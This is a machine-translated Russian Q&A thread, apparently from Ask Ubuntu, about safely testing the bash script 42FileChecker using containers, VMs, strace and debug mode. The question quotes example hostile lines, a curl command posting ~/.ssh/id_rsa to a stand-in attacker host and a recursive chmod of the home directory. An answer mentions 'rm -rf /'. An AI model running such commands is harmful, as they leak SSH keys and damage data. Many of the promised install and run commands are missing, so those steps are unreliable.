Я хотел бы установить определенный bash-скрипт с именем 42FileChecker, используя команды:
git clone https://github.com/jgigault/42FileChecker ~/42FileChecker &&
cd ~/42FileChecker &&
bash ./42FileChecker.sh
Но я не знаю, будет ли 42FileChecker.sh делать какие-то странные вещи на моем ПК, потому что я новичок и не знаю, что происходит в этом сценарии. Есть ли способ запустить его в фиктивном терминале или фиктивной корневой папке, или что-то в этом роде, чтобы увидеть, что происходит, чтобы избежать такого сумасшедшего, как форматирование моих дисков. Я хотел бы знать о любом способе тестирования оболочек для будущих сценариев оболочки, даже если 42FileChecker.sh безопасен.
man
страницы команд, содержащихся в нем.chmod 777 -R ~
илиcurl http://badsite.example.com/secret-grabber.php -d @"$HOME"/.ssh/id_rsa
или аналогичных.Ответы:
Я не эксперт в этом, но я бы порекомендовал использовать
strace
иdocker
.Поэтому сначала создайте Docker-контейнер, следуя инструкциям в этом ответе . Но дополнение в том, что strace скажет вам, какие системные вызовы сделаны. Или процитировать:
Вы можете объединить эти команды
источник
Если вы не уверены в том, что делает скрипт, лучше не запускать его, пока вы не уверены, что он делает. Способы уменьшения радиуса повреждения плохого сценария включают запуск его с использованием нового пользователя, запуск его в контейнере или запуск на виртуальной машине. Но это первое утверждение остается в силе: если вы не уверены, что что-то делает, не запускайте его, пока не сделаете.
источник
Как сказал @ctt, вероятно, хорошей идеей будет сначала запустить его в какой-нибудь песочнице. Использование ВМ, вероятно, самое простое решение. Multipass довольно прост.
Установите мультипасс (если вы еще этого не сделали):
Раскрути новую ВМ:
Войдите в свою новую виртуальную машину:
Затем запустите ваш скрипт (внутри вашего vm):
источник
Поскольку школа, которую вы посещаете, опубликовала сценарии, лучшее место, чтобы высказать ваши опасения - это ваши инструкторы.
Тем не менее, мы можем помочь вам расшифровать код построчно. Для кого-то здесь, вероятно, нецелесообразно анализировать весь код.
На самом деле у вас есть 40 bash-скриптов с общей суммой в 5 360 строк. Я объединил их вместе и искал команды bash / shell, которыми можно злоупотреблять. Все они, кажется, используются нормально :
rm -rf /
команды, чтобы стереть весь раздел жесткого диска.sudo
будут использоваться для запуска скрипта.C
проверяет, используются ли в проверенных файлах только авторизованные функции.github
странице.42FileChecker
кажется безопасным для использования.Вам не нужно беспокоиться о bash-скриптах, понятных человеку. Это скомпилированные двоичные объекты, которые вы не можете прочитать, которые вызывают беспокойство. Например, программа под названием «блестящая оживленная сфера» может нарисовать что-то подобное на вашем экране, но в фоновом режиме она может стереть все ваши файлы.
Оригинальный ответ
Лучше всего спросить автора сценария, что он делает. На самом деле вы можете почти полностью опубликовать свой вопрос, как показано выше.
Также спросите автора:
И любые другие хорошие вопросы, которые вы можете придумать.
Редактировать 1 - Беспокойство по поводу злонамеренного автора.
Вы должны использовать только программное обеспечение с большим количеством хороших публичных обзоров. В качестве авторов, которым вы доверяете здесь, в Ask Ubuntu, таких как Серж, Джейкоб, Колин Кинг и т. Д. Другие уважаемые сайты, такие как Ask Ubuntu и их уважаемые участники, также должны рассматриваться как «не вредоносные».
Преимущество «уважаемых авторов» здесь, в Ask Ubuntu, заключается в том, что они ставят свою самооценку на «очки репутации». Если бы они намеренно написали код, который «украл» или «испортил» данные, они бы быстро потеряли свою репутацию. Действительно, авторы могут страдать от "гнева модов" и быть отстраненными и / или отняв 10000 очков репутации.
Изменить 2 - Не следуйте всем инструкциям
Я более подробно изучил инструкции вашего bash-скрипта:
«Безопасный» метод заключается в запуске только первой строки:
Это загружает сценарии, но не запускает их. Затем используйте
nautilus
(файловый менеджер) для проверки установленных каталогов и файлов. Очень быстро вы обнаружите, что есть коллекция сценариев bash, написанных группой студентов во Франции.Целью скриптов является компиляция и тестирование программ на Си на предмет неправильных функций и утечек памяти.
источник
~/42FileChecker/includes/display/display_credits.sh
норминеты штатов - зависимостьnorminette (42 born2code) http://www.42.fr
. Я прочитал это прошлой ночью, и именно поэтому я написал, что это была школа (школа) во Франции, которая опубликовала 42FileChecker . Из того, что я просмотрел код до сих пор, я не буду беспокоиться о его запуске. Плюс к этому у него очень мало синтаксических ошибок, оshellcheck
которых сообщается, что удивительно для сценария bash из 5 360 строк. Многие профессионально опубликованные скрипты bash имеют много синтаксических ошибок.Вы можете использовать Docker. Контейнеры Docker изолированы от операционной системы хоста, поэтому любая злонамеренная деятельность будет оставаться в контейнере, если вы специально не выпускаете ее, перенаправляя порты или монтируя файловые системы.
Чтобы установить докер:
Чтобы загрузить новый контейнер Ubuntu Bionic:
После этого войдите в контейнер
и выполнить в нем хитрую операцию:
источник
docker diff
чтобы посмотреть, какие изменения были внесены в файловую систему с момента запуска контейнера. Недостатком использования Docker является то, что контейнер не является полной копией хост-системы. Упоминаемый здесь образ Ubuntu содержит только минимальную установку Ubuntu.docker run ubuntu
вы должны запуститьdocker run -it ubuntu:bionic
The, который-it
дает вам интерактивный терминал в контейнере иbionic
фактически запускает нужную вам версию вместо стандартнойlatest
.--memory
,--network
и возможно , другие на самом деле заблокировать сценарий.Попробуйте использовать режим отладки, запустив скрипт как:
Дополнительная полезная информация Bash
Режим отладки не помешает сценарию делать что-то плохое, но позволит вам постараться пройти сценарий построчно и изучить эффекты. Вы также можете проверить скрипт на наличие некоторых типичных потенциальных ошибок и / или эксплойтов, например, выполнить поиск скриптов на предмет их появления
rm
и внимательно посмотреть на эти команды. Многие из этих инструментов имеют некоторую помощь , построенную в течение попытки их, например , фирма не будет удалять каталог по умолчанию, он нуждается в-r
,-R
или--recursive
возможности сделать это.Могут даже быть некоторые антивирусные инструменты, которые будут искать скрипт в bash по этим шаблонам, но я не знаю ни одного по имени. Ваши примеры сценариев довольно сомнительны в том смысле, что они загружают другие инструменты, поэтому каждый из них также должен быть изучен. Проверка серверов, с которыми они связываются, также может быть полезной.
источник
Соответствующая информация для предоставления ответа, к сожалению, находится только в вашем комментарии:
Таким образом, ситуация такова, что на практике у вас есть возможность пропустить курс, или вы можете запустить скрипт для выполнения нормативных проверок ваших источников. Разговор с вашим инструктором вряд ли возможен из-за отсутствия первого (в противном случае это не будет вариант, ни одна школа не собирается менять свою процедуру, потому что один ученик не доволен этим).
Поэтому вопрос, что делать, чтобы ограничить возможный ущерб от этого сценария, даже не возникает. Это не случайный сценарий того, что возбужденная девушка с большой грудью отправила вам электронное письмо, и вам нужно запустить ее, чтобы увидеть ее фотографию .
Вы делаете класс программирования. этогде этот сценарий вступил в игру. Вопрос в том, хотите ли вы выполнить условия, необходимые для успешного прохождения курса.
Однако, если вы действительно обеспокоены, все еще есть возможность запустить скрипт в контейнере или виртуальной машине и поместить ваши источники в общую папку или в сетевой ресурс, предоставляемый контейнером / виртуальной машиной. Это в значительной степени идет по пути полной паранойи, но опять же виртуализация не так уж и сложна в наши дни, поэтому она не стоит очень дорого.
Если исключить маловероятную возможность действительно грубого эксплойта, содержащегося в этом сценарии, войти в систему под учетной записью любого пользователя без полномочий root (который вы вряд ли выберете в Ubuntu для других целей) и избежать ввода
sudo
без видимой причины, в значительной степени предотвращает 99% все плохие вещи, которые могут произойти в любом случае. Например, форматирование жесткого диска, о котором вы беспокоитесь. Обычный пользователь просто не может этого сделать. Худшее, что может случиться, - это сценарий, удаляющий домашний каталог пользователя. Так что, не проблема, правда.источник
sudo
требуется запустить скрипт. +1sudo
только ограничивает область случайного удаления / форматирования из-за ошибок. Если скрипт был вредоносным или эксплуатируемым, запуск сsudo
однопользовательской системой не имеет существенного значения.42FileChecker
поэтому я не могу точно сказать,sudo
нужно это или нет. Скрипт bash не проверяет sudo и не советует вам его использовать. Оказалось бы тогда, чтоsudo
не требуется. Еще раз, я думаю, что спросить вашего инструктора (учителя) является лучшей политикой. Я обновил свой ответ час назад с небольшим анализом сценария. Обратите внимание, что имя "mynorminette
" снова появилось в коде.42FileChecker
. Я верю, что общение с инструкторами поможет вам успокоиться. После нескольких часов исследований я верю в программистов и их творения. Жан-Мишель Жиго даже имеет свою фотографию на github. Совершенно свидетельство уверенности в стране, где растут семена Жёлтого Жилета. Viva La France! (et Ecole 42 :)) Сделайте нам одолжение и заходите, чтобы получать обновления прогресса.